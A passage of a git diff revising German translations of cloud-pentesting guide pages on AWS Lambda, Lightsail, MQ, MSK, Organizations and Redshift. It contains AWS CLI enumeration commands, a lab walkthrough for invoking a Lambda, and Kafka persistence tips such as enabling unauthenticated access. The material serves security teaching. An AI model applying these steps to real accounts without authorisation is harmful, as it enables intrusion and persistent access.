empfangenen Verschlüsselungs-/Entschlüsselungsanfragen berechnet. +KMS wird pro Anzahl der von allen Diensten pro Monat empfangenen Verschlüsselungs-/Entschlüsselungsanfragen berechnet. KMS hat eine vollständige Audit- und Compliance-**Integration mit CloudTrail**; hier können Sie alle Änderungen, die an KMS vorgenommen wurden, überprüfen. diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-lambda-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-lambda-enum.md index 33e976d23..d6112d517 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-lambda-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-lambda-enum.md @@ -4,16 +4,16 @@ ## Lambda -Amazon Web Services (AWS) Lambda wird als **Compute-Service** beschrieben, der die Ausführung von Code ermöglicht, ohne dass Server bereitgestellt oder verwaltet werden müssen. Es zeichnet sich durch die Fähigkeit aus, **automatisch die benötigte Ressourcenallokation** für die Codeausführung zu handhaben, was Funktionen wie hohe Verfügbarkeit, Skalierbarkeit und Sicherheit gewährleistet. Ein wesentlicher Aspekt von Lambda ist sein Preismodell, bei dem **die Gebühren ausschließlich auf der genutzten Rechenzeit basieren**, wodurch die Notwendigkeit für Anfangsinvestitionen oder langfristige Verpflichtungen entfällt. +Amazon Web Services (AWS) Lambda wird als **Compute-Service** beschrieben, der die Ausführung von Code ermöglicht, ohne dass Server bereitgestellt oder verwaltet werden müssen. Es zeichnet sich durch die Fähigkeit aus, **automatisch die benötigte Ressourcenzuteilung** für die Codeausführung zu verwalten, und gewährleistet Funktionen wie hohe Verfügbarkeit, Skalierbarkeit und Sicherheit. Ein wesentlicher Aspekt von Lambda ist sein Preismodell, bei dem **die Kosten ausschließlich auf der genutzten Rechenzeit basieren**, wodurch die Notwendigkeit für Anfangsinvestitionen oder langfristige Verpflichtungen entfällt. -Um eine Lambda-Funktion aufzurufen, ist es möglich, sie **so oft wie gewünscht** (mit Cloudwatch) aufzurufen, einen **URL**-Endpunkt **auszusetzen** und sie aufzurufen, sie über **API Gateway** aufzurufen oder sogar basierend auf **Ereignissen** wie **Änderungen** an Daten in einem **S3**-Bucket oder Aktualisierungen einer **DynamoDB**-Tabelle. +Um eine Lambda-Funktion aufzurufen, ist es möglich, sie **so häufig wie gewünscht** (mit Cloudwatch) aufzurufen, einen **URL**-Endpunkt **auszusetzen** und sie aufzurufen, sie über **API Gateway** aufzurufen oder sogar basierend auf **Ereignissen** wie **Änderungen** an Daten in einem **S3**-Bucket oder Aktualisierungen einer **DynamoDB**-Tabelle. Der **Code** einer Lambda-Funktion wird in **`/var/task`** gespeichert. ### Lambda Aliases Weights Eine Lambda-Funktion kann **mehrere Versionen** haben.\ -Und sie kann **mehr als 1** Version haben, die über **Aliases** exponiert ist. Die **Gewichte** der **jeweiligen** **Versionen**, die innerhalb eines Aliases exponiert sind, entscheiden, **welcher Alias den Aufruf erhält** (es kann zum Beispiel 90%-10% sein).\ +Und sie kann **mehr als 1** Version über **Aliases** exponieren. Die **Gewichte** der **jeweiligen** **Versionen**, die innerhalb eines Aliases exponiert sind, entscheiden, **welcher Alias den Aufruf erhält** (es kann zum Beispiel 90%-10% sein).\ Wenn der Code von **einem** der Aliases **anfällig** ist, können Sie **Anfragen senden, bis die anfällige** Version den Exploit erhält. ![](<../../../images/image (223).png>) @@ -32,7 +32,7 @@ Oder dies, um einem API Gateway zu erlauben, es aufzurufen: ### Lambda Database Proxies Wenn es **Hunderte** von **gleichzeitigen Lambda-Anfragen** gibt, und jede von ihnen eine **Verbindung zu einer Datenbank herstellen und schließen** muss, wird es einfach nicht funktionieren (Lambdas sind zustandslos und können keine Verbindungen offen halten).\ -Wenn Ihre **Lambda-Funktionen stattdessen mit RDS Proxy** interagieren, übernimmt es das Verbindungs-Pooling, das für die Skalierung vieler gleichzeitiger Verbindungen erforderlich ist, die von gleichzeitigen Lambda-Funktionen erstellt werden. Dies ermöglicht es Ihren Lambda-Anwendungen, **bestehende Verbindungen wiederzuverwenden**, anstatt für jeden Funktionsaufruf neue Verbindungen zu erstellen. +Wenn Ihre **Lambda-Funktionen stattdessen mit RDS Proxy** interagieren, verwaltet es das Connection Pooling, das für die Skalierung vieler gleichzeitiger Verbindungen erforderlich ist, die von gleichzeitigen Lambda-Funktionen erstellt werden. Dies ermöglicht es Ihren Lambda-Anwendungen, **bestehende Verbindungen wiederzuverwenden**, anstatt für jeden Funktionsaufruf neue Verbindungen zu erstellen. ### Lambda EFS Filesystems @@ -40,20 +40,20 @@ Um Daten zu speichern und sogar zu teilen, **können Lambdas auf EFS zugreifen u ### Lambda Layers -Ein Lambda _Layer_ ist ein .zip-Dateiarchiv, das **zusätzlichen Code** oder andere Inhalte **enthalten kann**. Ein Layer kann Bibliotheken, eine [benutzerdefinierte Laufzeit](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-custom.html), Daten oder Konfigurationsdateien enthalten. +Ein Lambda _Layer_ ist ein .zip-Dateiarchiv, das **zusätzlichen Code** oder andere Inhalte enthalten kann. Ein Layer kann Bibliotheken, ein [benutzerdefiniertes Runtime](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-custom.html), Daten oder Konfigurationsdateien enthalten. Es ist möglich, bis zu **fünf Layers pro Funktion** einzuschließen. Wenn Sie einen Layer in eine Funktion einfügen, werden die **Inhalte im Verzeichnis `/opt`** in der Ausführungsumgebung extrahiert. Standardmäßig sind die **Layers**, die Sie erstellen, **privat** für Ihr AWS-Konto. Sie können wählen, ob Sie einen Layer mit anderen Konten **teilen** oder den Layer **öffentlich** machen möchten. Wenn Ihre Funktionen einen Layer verwenden, den ein anderes Konto veröffentlicht hat, können Ihre Funktionen **die Layer-Version weiterhin verwenden, nachdem sie gelöscht wurde oder nachdem Ihre Berechtigung zum Zugriff auf den Layer widerrufen wurde**. Sie können jedoch keine neue Funktion erstellen oder Funktionen mit einer gelöschten Layer-Version aktualisieren. -Funktionen, die als Container-Image bereitgestellt werden, verwenden keine Layers. Stattdessen verpacken Sie Ihre bevorzugte Laufzeit, Bibliotheken und andere Abhängigkeiten in das Container-Image, wenn Sie das Image erstellen. +Funktionen, die als Container-Image bereitgestellt werden, verwenden keine Layers. Stattdessen verpacken Sie Ihr bevorzugtes Runtime, Bibliotheken und andere Abhängigkeiten in das Container-Image, wenn Sie das Image erstellen. ### Lambda Extensions Lambda-Extensions verbessern Funktionen, indem sie sich mit verschiedenen **Überwachungs-, Beobachtungs-, Sicherheits- und Governance-Tools** integrieren. Diese Extensions, die über [.zip-Archive mit Lambda-Layers](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) oder in [Container-Image-Bereitstellungen](https://aws.amazon.com/blogs/compute/working-with-lambda-layers-and-extensions-in-container-images/) hinzugefügt werden, arbeiten in zwei Modi: **intern** und **extern**. -- **Interne Extensions** verschmelzen mit dem Laufzeitprozess und manipulieren dessen Start mit **sprachspezifischen Umgebungsvariablen** und **Wrapper-Skripten**. Diese Anpassung gilt für eine Reihe von Laufzeiten, einschließlich **Java Correto 8 und 11, Node.js 10 und 12 sowie .NET Core 3.1**. -- **Externe Extensions** laufen als separate Prozesse und halten die Betriebsanpassung an den Lebenszyklus der Lambda-Funktion aufrecht. Sie sind mit verschiedenen Laufzeiten wie **Node.js 10 und 12, Python 3.7 und 3.8, Ruby 2.5 und 2.7, Java Corretto 8 und 11, .NET Core 3.1** und **benutzerdefinierten Laufzeiten** kompatibel. +- **Interne Extensions** verschmelzen mit dem Runtime-Prozess und manipulieren dessen Start mit **sprachspezifischen Umgebungsvariablen** und **Wrapper-Skripten**. Diese Anpassung gilt für eine Reihe von Runtimes, einschließlich **Java Correto 8 und 11, Node.js 10 und 12 sowie .NET Core 3.1**. +- **Externe Extensions** laufen als separate Prozesse und halten die Betriebsanpassung an den Lebenszyklus der Lambda-Funktion aufrecht. Sie sind mit verschiedenen Runtimes wie **Node.js 10 und 12, Python 3.7 und 3.8, Ruby 2.5 und 2.7, Java Corretto 8 und 11, .NET Core 3.1** und **benutzerdefinierten Runtimes** kompatibel. ### Enumeration ```bash @@ -108,7 +108,7 @@ aws lambda invoke --function-name --cli-binary-format raw-in-base64-out - aws lambda list-function-url-configs --function-name #Get lambda URL aws lambda get-function-url-config --function-name #Get lambda URL ``` -#### Call Lambda function via URL +#### Lambda-Funktion über URL aufrufen Jetzt ist es an der Zeit, mögliche Lambda-Funktionen zu finden, die ausgeführt werden können: ``` @@ -116,13 +116,13 @@ aws --region us-west-2 --profile level6 lambda list-functions ``` ![](<../../../images/image (262).png>) -Eine Lambda-Funktion namens "Level6" ist verfügbar. Lassen Sie uns herausfinden, wie man sie aufruft: +Eine Lambda-Funktion mit dem Namen "Level6" ist verfügbar. Lassen Sie uns herausfinden, wie man sie aufruft: ```bash aws --region us-west-2 --profile level6 lambda get-policy --function-name Level6 ``` ![](<../../../images/image (102).png>) -Jetzt, da Sie den Namen und die ID kennen, können Sie den Namen abrufen: +Jetzt, da du den Namen und die ID kennst, kannst du den Namen abrufen: ```bash aws --profile level6 --region us-west-2 apigateway get-stages --rest-api-id "s33ppypa75" ``` diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-lightsail-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-lightsail-enum.md index 2d5c3edcc..f233b13e5 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-lightsail-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-lightsail-enum.md @@ -34,7 +34,7 @@ Es ist möglich, **Instanz- und relationale Datenbank-Snapshots von Lightsail** ### Metadata -**Der Metadata-Endpunkt ist von Lightsail aus zugänglich**, aber die Maschinen laufen in einem **AWS-Konto, das von AWS verwaltet wird**, sodass Sie nicht kontrollieren, **welche Berechtigungen gewährt werden**. Wenn Sie jedoch einen Weg finden, diese auszunutzen, würden Sie direkt AWS ausnutzen. +**Der Metadata-Endpunkt ist von Lightsail aus zugänglich**, aber die Maschinen laufen in einem **AWS-Konto, das von AWS verwaltet wird**, sodass Sie **nicht kontrollieren, welche Berechtigungen gewährt werden**. Wenn Sie jedoch einen Weg finden, diese auszunutzen, würden Sie direkt AWS ausnutzen. ### Privesc diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-mq-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-mq-enum.md index 5f586f002..902a43993 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-mq-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-mq-enum.md @@ -4,17 +4,17 @@ ## Amazon MQ -### Einführung in Nachrichtenbroker +### Einführung in Message Broker -**Nachrichtenbroker** dienen als Vermittler und erleichtern die Kommunikation zwischen verschiedenen Softwaresystemen, die auf unterschiedlichen Plattformen basieren und in verschiedenen Sprachen programmiert sein können. **Amazon MQ** vereinfacht die Bereitstellung, den Betrieb und die Wartung von Nachrichtenbrokern auf AWS. Es bietet verwaltete Dienste für **Apache ActiveMQ** und **RabbitMQ** und sorgt für nahtlose Bereitstellung und automatische Softwareversionsupdates. +**Message Broker** dienen als Vermittler und erleichtern die Kommunikation zwischen verschiedenen Softwaresystemen, die auf unterschiedlichen Plattformen basieren und in verschiedenen Sprachen programmiert sein können. **Amazon MQ** vereinfacht die Bereitstellung, den Betrieb und die Wartung von Message Brokern auf AWS. Es bietet verwaltete Dienste für **Apache ActiveMQ** und **RabbitMQ** und sorgt für nahtlose Bereitstellung und automatische Softwareversionsupdates. ### AWS - RabbitMQ -RabbitMQ ist eine prominente **Nachrichtenwarteschlangen-Software**, auch bekannt als _Nachrichtenbroker_ oder _Warteschlangenmanager_. Es ist grundsätzlich ein System, in dem Warteschlangen konfiguriert sind. Anwendungen interagieren mit diesen Warteschlangen, um **Nachrichten zu senden und zu empfangen**. Nachrichten können in diesem Kontext eine Vielzahl von Informationen tragen, von Befehlen zur Initiierung von Prozessen in anderen Anwendungen (möglicherweise auf anderen Servern) bis hin zu einfachen Textnachrichten. Die Nachrichten werden von der Warteschlangenmanager-Software gehalten, bis sie von einer empfangenden Anwendung abgerufen und verarbeitet werden. AWS bietet eine benutzerfreundliche Lösung zum Hosten und Verwalten von RabbitMQ-Servern. +RabbitMQ ist eine prominente **Message-Queueing-Software**, auch bekannt als _Message Broker_ oder _Queue Manager_. Es handelt sich grundlegend um ein System, in dem Warteschlangen konfiguriert sind. Anwendungen interagieren mit diesen Warteschlangen, um **Nachrichten zu senden und zu empfangen**. Nachrichten können in diesem Kontext eine Vielzahl von Informationen tragen, von Befehlen zur Initiierung von Prozessen in anderen Anwendungen (möglicherweise auf anderen Servern) bis hin zu einfachen Textnachrichten. Die Nachrichten werden von der Queue-Manager-Software gehalten, bis sie von einer empfangenden Anwendung abgerufen und verarbeitet werden. AWS bietet eine benutzerfreundliche Lösung zum Hosten und Verwalten von RabbitMQ-Servern. ### AWS - ActiveMQ -Apache ActiveMQ® ist ein führender Open-Source, Java-basierter **Nachrichtenbroker**, der für seine Vielseitigkeit bekannt ist. Er unterstützt mehrere branchenübliche Protokolle und bietet umfassende Client-Kompatibilität über eine Vielzahl von Sprachen und Plattformen. Benutzer können: +Apache ActiveMQ® ist ein führender Open-Source, Java-basierter **Message Broker**, der für seine Vielseitigkeit bekannt ist. Er unterstützt mehrere branchenübliche Protokolle und bietet umfassende Client-Kompatibilität über eine Vielzahl von Sprachen und Plattformen. Benutzer können: - Mit Clients verbinden, die in JavaScript, C, C++, Python, .Net und mehr geschrieben sind. - Das **AMQP**-Protokoll nutzen, um Anwendungen von verschiedenen Plattformen zu integrieren. @@ -48,7 +48,7 @@ aws mq list-configurations aws mq create-user --broker-id --password --username --console-access ``` > [!WARNING] -> TODO: Geben Sie an, wie man RabbitMQ und ActiveMQ intern enumeriert und wie man in allen Warteschlangen mithört und Daten sendet (senden Sie einen PR, wenn Sie wissen, wie man das macht) +> TODO: Geben Sie an, wie man RabbitMQ und ActiveMQ intern enumeriert und wie man in allen Warteschlangen mithört und Daten sendet (senden Sie PR, wenn Sie wissen, wie man das macht) ## Privesc diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-msk-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-msk-enum.md index a3afe96a8..154279f5d 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-msk-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-msk-enum.md @@ -4,19 +4,19 @@ ## Amazon MSK -**Amazon Managed Streaming for Apache Kafka (Amazon MSK)** ist ein vollständig verwalteter Dienst, der die Entwicklung und Ausführung von Anwendungen erleichtert, die Streaming-Daten über **Apache Kafka** verarbeiten. Die Steuerungsebene, einschließlich Erstellung, Aktualisierung und Löschung von **Clustern**, wird von Amazon MSK angeboten. Der Dienst ermöglicht die Nutzung von Apache Kafka **Datenebene-Operationen**, die die Datenproduktion und -konsumtion umfassen. Er basiert auf **Open-Source-Versionen von Apache Kafka**, was die Kompatibilität mit bestehenden Anwendungen, Tools und Plugins sowohl von Partnern als auch aus der **Apache Kafka-Community** gewährleistet und die Notwendigkeit von Änderungen im Anwendungscode beseitigt. +**Amazon Managed Streaming for Apache Kafka (Amazon MSK)** ist ein vollständig verwalteter Dienst, der die Entwicklung und Ausführung von Anwendungen erleichtert, die Streaming-Daten über **Apache Kafka** verarbeiten. Die Steuerungsebene, einschließlich Erstellung, Aktualisierung und Löschung von **Clustern**, wird von Amazon MSK angeboten. Der Dienst ermöglicht die Nutzung von Apache Kafka **Datenebene-Operationen**, die die Datenproduktion und -konsumtion umfassen. Er basiert auf **Open-Source-Versionen von Apache Kafka**, was die Kompatibilität mit bestehenden Anwendungen, Tools und Plugins sowohl von Partnern als auch aus der **Apache Kafka-Community** sicherstellt, ohne dass Änderungen am Anwendungscode erforderlich sind. -In Bezug auf die Zuverlässigkeit ist Amazon MSK so konzipiert, dass es **automatisch verbreitete Clusterfehler-Szenarien erkennt und sich davon erholt**, sodass Produzenten- und Konsumenten-Anwendungen ihre Daten Schreib- und Leseaktivitäten mit minimalen Unterbrechungen fortsetzen können. Darüber hinaus zielt es darauf ab, die Datenreplikationsprozesse zu optimieren, indem es versucht, den Speicher von ersetzten Brokern **wiederzuverwenden**, wodurch das Volumen der Daten, die von Apache Kafka repliziert werden müssen, minimiert wird. +In Bezug auf die Zuverlässigkeit ist Amazon MSK so konzipiert, dass es **automatisch häufige Clusterfehler-Szenarien erkennt und sich davon erholt**, sodass Produzenten- und Konsumenten-Anwendungen ihre Daten Schreib- und Leseaktivitäten mit minimalen Unterbrechungen fortsetzen können. Darüber hinaus zielt es darauf ab, die Datenreplikationsprozesse zu optimieren, indem versucht wird, den Speicher von ersetzten Brokern **wiederzuverwenden**, wodurch das Volumen der Daten, die von Apache Kafka repliziert werden müssen, minimiert wird. ### **Typen** -Es gibt 2 Arten von Kafka-Clustern, die AWS erstellen lässt: Bereitgestellt und Serverlos. +Es gibt 2 Arten von Kafka-Clustern, die AWS erstellen lässt: Provisioned und Serverless. Aus der Sicht eines Angreifers müssen Sie wissen, dass: -- **Serverlos kann nicht direkt öffentlich sein** (es kann nur in einem VPN ohne öffentlich exponierte IP betrieben werden). **Bereitgestellt** kann jedoch so konfiguriert werden, dass es eine **öffentliche IP** erhält (standardmäßig geschieht dies nicht) und die **Sicherheitsgruppe** so konfiguriert wird, dass die relevanten Ports **exponiert** werden. -- **Serverlos** **unterstützt nur IAM** als Authentifizierungsmethode. **Bereitgestellt** unterstützt SASL/SCRAM (**Passwort**) Authentifizierung, **IAM** Authentifizierung, AWS **Zertifikat** Manager (ACM) Authentifizierung und **unauthentifizierten** Zugriff. -- Beachten Sie, dass es nicht möglich ist, ein bereitgestelltes Kafka öffentlich zu exponieren, wenn der unauthentifizierte Zugriff aktiviert ist. +- **Serverless kann nicht direkt öffentlich sein** (es kann nur in einem VPN ohne öffentlich exponierte IP ausgeführt werden). **Provisioned** kann jedoch so konfiguriert werden, dass es eine **öffentliche IP** erhält (standardmäßig geschieht dies nicht) und die **Sicherheitsgruppe** so konfiguriert wird, dass die relevanten Ports **exponiert** werden. +- **Serverless** **unterstützt nur IAM** als Authentifizierungsmethode. **Provisioned** unterstützt SASL/SCRAM (**Passwort**) Authentifizierung, **IAM** Authentifizierung, AWS **Zertifikat** Manager (ACM) Authentifizierung und **unauthentifizierten** Zugriff. +- Beachten Sie, dass es nicht möglich ist, ein Provisioned Kafka öffentlich zugänglich zu machen, wenn der unauthentifizierte Zugriff aktiviert ist. ### Enumeration ```bash @@ -42,7 +42,7 @@ aws kafka describe-configuration-revision --arn --revision ``` -### Kafka IAM-Zugriff (in serverless) +### Kafka IAM-Zugriff (in serverlos) ```bash # Guide from https://docs.aws.amazon.com/msk/latest/developerguide/create-serverless-cluster.html # Download Kafka @@ -86,7 +86,7 @@ kafka_2.12-2.8.1/bin/kafka-console-consumer.sh --bootstrap-server $BS --consumer ### Persistence -Wenn Sie **Zugriff auf das VPC** haben, in dem ein Provisioned Kafka ist, könnten Sie **unauthorisierten Zugriff aktivieren**, wenn **SASL/SCRAM-Authentifizierung**, **das Passwort** aus dem Geheimnis **lesen**, einigen **anderen kontrollierten Benutzern IAM-Berechtigungen** geben (wenn IAM oder serverlos verwendet wird) oder mit **Zertifikaten** persistieren. +Wenn Sie **Zugriff auf das VPC** haben, in dem ein Provisioned Kafka ist, könnten Sie **unauthorisierten Zugriff aktivieren**, wenn **SASL/SCRAM-Authentifizierung**, **das Passwort** aus dem Geheimnis **lesen**, einigen **anderen kontrollierten Benutzern IAM-Berechtigungen** geben (wenn IAM oder serverless verwendet wird) oder mit **Zertifikaten** persistieren. ## References diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-organizations-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-organizations-enum.md index 7b4c50883..24644317a 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-organizations-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-organizations-enum.md @@ -11,7 +11,7 @@ Wichtige Punkte: - **Erstellung neuer Konten**: AWS Organizations ermöglicht die Erstellung neuer AWS-Konten ohne zusätzliche Gebühren. - **Ressourcenzuweisung**: Es vereinfacht den Prozess der Zuweisung von Ressourcen über die Konten hinweg. - **Kontengruppierung**: Konten können zusammen gruppiert werden, was das Management effizienter macht. -- **Governance-Richtlinien**: Richtlinien können auf Konten oder Gruppen von Konten angewendet werden, um die Einhaltung und Governance in der gesamten Organisation sicherzustellen. +- **Governance-Richtlinien**: Richtlinien können auf Konten oder Gruppen von Konten angewendet werden, um Compliance und Governance in der gesamten Organisation sicherzustellen. Weitere Informationen finden Sie unter: diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-other-services-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-other-services-enum.md index 21254e462..d247e2ddf 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-other-services-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-other-services-enum.md @@ -11,9 +11,9 @@ aws directconnect describe-interconnects aws directconnect describe-virtual-gateways aws directconnect describe-virtual-interfaces ``` -## Support +## Unterstützung -In AWS können Sie über die API auf aktuelle und frühere Supportfälle zugreifen. +In AWS können Sie aktuelle und frühere Supportfälle über die API abrufen. ``` aws support describe-cases --include-resolved-cases ``` diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-redshift-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-redshift-enum.md index 9ada53933..e85e08b08 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-redshift-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-redshift-enum.md @@ -4,11 +4,11 @@ ## Amazon Redshift -Redshift ist ein vollständig verwalteter Dienst, der auf über ein Petabyte an Größe skalieren kann und als **Datenlager für Big Data-Lösungen** verwendet wird. Mit Redshift-Clustern können Sie Analysen an Ihren Datensätzen durchführen, indem Sie schnelle, SQL-basierte Abfragewerkzeuge und Business-Intelligence-Anwendungen verwenden, um ein besseres Verständnis für die Vision Ihres Unternehmens zu gewinnen. +Redshift ist ein vollständig verwalteter Dienst, der auf über ein Petabyte skalieren kann und als **Datenlager für Big Data-Lösungen** verwendet wird. Mit Redshift-Clustern können Sie Analysen an Ihren Datensätzen mit schnellen, SQL-basierten Abfragewerkzeugen und Business-Intelligence-Anwendungen durchführen, um ein besseres Verständnis für Ihre Geschäftsvision zu gewinnen. -**Redshift bietet Verschlüsselung im Ruhezustand mit einer vierstufigen Hierarchie von Verschlüsselungsschlüsseln, die entweder KMS oder CloudHSM zur Verwaltung der obersten Ebene von Schlüsseln verwenden**. **Wenn die Verschlüsselung für Ihr Cluster aktiviert ist, kann sie nicht deaktiviert werden und umgekehrt**. Wenn Sie ein unverschlüsseltes Cluster haben, kann es nicht verschlüsselt werden. +**Redshift bietet Verschlüsselung im Ruhezustand mit einer vierstufigen Hierarchie von Verschlüsselungsschlüsseln, die entweder KMS oder CloudHSM zur Verwaltung der obersten Schicht von Schlüsseln verwenden**. **Wenn die Verschlüsselung für Ihren Cluster aktiviert ist, kann sie nicht deaktiviert werden und umgekehrt**. Wenn Sie einen unverschlüsselten Cluster haben, kann er nicht verschlüsselt werden. -Die Verschlüsselung für Ihr Cluster kann nur während seiner Erstellung erfolgen, und einmal verschlüsselt, sind die Daten, Metadaten und alle Snapshots ebenfalls verschlüsselt. Die Stufen der Verschlüsselungsschlüssel sind wie folgt: **Stufe eins ist der Master-Schlüssel, Stufe zwei ist der Cluster-Verschlüsselungsschlüssel, der CEK, Stufe drei, der Datenbank-Verschlüsselungsschlüssel, der DEK, und schließlich Stufe vier, die Datenverschlüsselungsschlüssel selbst**. +Die Verschlüsselung für Ihren Cluster kann nur während seiner Erstellung erfolgen, und sobald er verschlüsselt ist, sind die Daten, Metadaten und alle Snapshots ebenfalls verschlüsselt. Die Stufen der Verschlüsselungsschlüssel sind wie folgt: **Stufe eins ist der Master-Schlüssel, Stufe zwei ist der Cluster-Verschlüsselungsschlüssel, der CEK, Stufe drei, der Datenbank-Verschlüsselungsschlüssel, der DEK, und schließlich Stufe vier, die Datenverschlüsselungsschlüssel selbst**. ### KMS @@ -16,11 +16,11 @@ Während der Erstellung Ihres Clusters können Sie entweder den **Standard-KMS-S Der Standard-KMS-Schlüssel für Redshift wird automatisch von Redshift erstellt, wenn die Schlüsseloption zum ersten Mal ausgewählt und verwendet wird, und er wird vollständig von AWS verwaltet. -Dieser KMS-Schlüssel wird dann mit dem CMK-Master-Schlüssel, Stufe eins, verschlüsselt. Dieser verschlüsselte KMS-Datenschlüssel wird dann als Cluster-Verschlüsselungsschlüssel, der CEK, Stufe zwei, verwendet. Dieser CEK wird dann von KMS an Redshift gesendet, wo er separat vom Cluster gespeichert wird. Redshift sendet dann diesen verschlüsselten CEK über einen sicheren Kanal an das Cluster, wo er im Speicher gespeichert wird. +Dieser KMS-Schlüssel wird dann mit dem CMK-Master-Schlüssel, Stufe eins, verschlüsselt. Dieser verschlüsselte KMS-Datenschlüssel wird dann als Cluster-Verschlüsselungsschlüssel, der CEK, Stufe zwei, verwendet. Dieser CEK wird dann von KMS an Redshift gesendet, wo er getrennt vom Cluster gespeichert wird. Redshift sendet dann diesen verschlüsselten CEK über einen sicheren Kanal an den Cluster, wo er im Speicher gespeichert wird. Redshift fordert dann KMS auf, den CEK, Stufe zwei, zu entschlüsseln. Dieser entschlüsselte CEK wird dann ebenfalls im Speicher gespeichert. Redshift erstellt dann einen zufälligen Datenbank-Verschlüsselungsschlüssel, den DEK, Stufe drei, und lädt diesen in den Speicher des Clusters. Der entschlüsselte CEK im Speicher verschlüsselt dann den DEK, der ebenfalls im Speicher gespeichert wird. -Dieser verschlüsselte DEK wird dann über einen sicheren Kanal gesendet und in Redshift separat vom Cluster gespeichert. Sowohl der CEK als auch der DEK sind jetzt im Speicher des Clusters sowohl in verschlüsselter als auch in entschlüsselter Form gespeichert. Der entschlüsselte DEK wird dann verwendet, um Datenverschlüsselungsschlüssel, Stufe vier, zu verschlüsseln, die von Redshift für jeden Datenblock in der Datenbank zufällig generiert werden. +Dieser verschlüsselte DEK wird dann über einen sicheren Kanal gesendet und in Redshift getrennt vom Cluster gespeichert. Sowohl der CEK als auch der DEK sind jetzt im Speicher des Clusters sowohl in verschlüsselter als auch in entschlüsselter Form gespeichert. Der entschlüsselte DEK wird dann verwendet, um Datenverschlüsselungsschlüssel, Stufe vier, zu verschlüsseln, die von Redshift für jeden Datenblock in der Datenbank zufällig generiert werden. Sie können AWS Trusted Advisor verwenden, um die Konfiguration Ihrer Amazon S3-Buckets zu überwachen und sicherzustellen, dass das Bucket-Logging aktiviert ist, was nützlich sein kann, um Sicherheitsprüfungen durchzuführen und Nutzungsmuster in S3 zu verfolgen. @@ -32,13 +32,13 @@ Sie können AWS Trusted Advisor verwenden, um die Konfiguration Ihrer Amazon S3- Wenn Sie mit CloudHSM arbeiten, um Ihre Verschlüsselung durchzuführen, müssen Sie zunächst eine vertrauenswürdige Verbindung zwischen Ihrem HSM-Client und Redshift einrichten, während Sie Client- und Serverzertifikate verwenden. -Diese Verbindung ist erforderlich, um sichere Kommunikationen bereitzustellen, die es ermöglichen, Verschlüsselungsschlüssel zwischen Ihrem HSM-Client und Ihren Redshift-Clustern zu senden. Mit einem zufällig generierten privaten und öffentlichen Schlüsselpaar erstellt Redshift ein öffentliches Client-Zertifikat, das von Redshift verschlüsselt und gespeichert wird. Dies muss heruntergeladen und Ihrem HSM-Client registriert sowie dem richtigen HSM-Partition zugewiesen werden. +Diese Verbindung ist erforderlich, um sichere Kommunikationen bereitzustellen, die es ermöglichen, Verschlüsselungsschlüssel zwischen Ihrem HSM-Client und Ihren Redshift-Clustern zu senden. Mit einem zufällig generierten privaten und öffentlichen Schlüsselpaar erstellt Redshift ein öffentliches Client-Zertifikat, das von Redshift verschlüsselt und gespeichert wird. Dies muss heruntergeladen und Ihrem HSM-Client zugeordnet sowie dem richtigen HSM-Partition zugewiesen werden. Sie müssen dann Redshift mit den folgenden Details Ihres HSM-Clients konfigurieren: die HSM-IP-Adresse, den Namen der HSM-Partition, das Passwort der HSM-Partition und das öffentliche HSM-Serverzertifikat, das von CloudHSM mit einem internen Master-Schlüssel verschlüsselt wird. Sobald diese Informationen bereitgestellt wurden, wird Redshift bestätigen und überprüfen, dass es sich mit der Entwicklungspartition verbinden und darauf zugreifen kann. -Wenn Ihre internen Sicherheitsrichtlinien oder Governance-Kontrollen vorschreiben, dass Sie eine Schlüsselrotation anwenden müssen, ist dies mit Redshift möglich, sodass Sie Verschlüsselungsschlüssel für verschlüsselte Cluster rotieren können. Sie müssen jedoch beachten, dass während des Schlüsselrotationsprozesses das Cluster für einen sehr kurzen Zeitraum nicht verfügbar sein wird, und es ist am besten, Schlüssel nur dann zu rotieren, wenn Sie es benötigen oder wenn Sie das Gefühl haben, dass sie möglicherweise kompromittiert wurden. +Wenn Ihre internen Sicherheitsrichtlinien oder Governance-Kontrollen vorschreiben, dass Sie eine Schlüsselrotation anwenden müssen, ist dies mit Redshift möglich, sodass Sie Verschlüsselungsschlüssel für verschlüsselte Cluster rotieren können. Sie müssen jedoch beachten, dass während des Schlüsselrotationsprozesses der Cluster für einen sehr kurzen Zeitraum nicht verfügbar sein wird, und es ist am besten, Schlüssel nur dann zu rotieren, wenn Sie es benötigen oder wenn Sie das Gefühl haben, dass sie möglicherweise kompromittiert wurden. -Während der Rotation wird Redshift den CEK für Ihr Cluster und für alle Backups dieses Clusters rotieren. Es wird einen DEK für das Cluster rotieren, aber es ist nicht möglich, einen DEK für die in S3 gespeicherten Snapshots zu rotieren, die mit dem DEK verschlüsselt wurden. Es wird das Cluster in einen Zustand 'Schlüssel rotieren' versetzen, bis der Prozess abgeschlossen ist, wenn der Status wieder auf 'verfügbar' zurückkehrt. +Während der Rotation wird Redshift den CEK für Ihren 